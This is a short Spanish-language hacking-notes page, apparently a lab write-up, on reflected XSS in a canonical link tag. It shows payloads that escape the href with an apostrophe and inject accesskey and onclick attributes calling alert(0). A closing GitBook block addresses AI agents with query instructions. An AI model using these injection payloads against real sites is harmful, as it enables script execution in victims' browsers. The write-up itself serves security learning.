> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/xss/reflected-xss-in-canonical-link-tag.md).

# XSS reflejado en la etiqueta canónica

### XSS reflejado en la etiqueta de enlace canónica

`canónica` etiqueta que refleja en su `href` el valor proporcionado en la URL (el `<` y `>` los corchetes angulares se escapan). / Propósito: Inyectar un ejecutable **atributo** que llama a `alert()` en la página de inicio.

* El código fuente muestra que hay un `canónica` etiqueta que toma `href` de lo que se introduce en la URL.

<figure><img src="/files/41871b7b7ae5b5233241909361dd6773a0074f1c" alt=""><figcaption></figcaption></figure>

* Puedes salir con un apóstrofo: `' hacking` => `%27hacking`.

```javascript
' hacking
%27hacking
```

<figure><img src="/files/f8d05e27ba37467e371fbed613a7d76936a693be" alt=""><figcaption></figcaption></figure>

* `accesskey` se puede usar para pulsar una tecla y activar la acción: `'accesskey='x' onclick='alert(0)`.

```javascript
'accesskey='x'onclick='alert(0)
/?%27accesskey=%27x%27onclick=%27alert(0)
```

<figure><img src="/files/06ac493ceeecee307773ca12b11d4282c4cb3b9c" alt=""><figcaption></figcaption></figure>

Acción indicada:

```javascript
ALT + X
```

<figure><img src="/files/2ed16d2232d837eeb7a79c5beebb2a94362186b3" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/xss/reflected-xss-in-canonical-link-tag.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
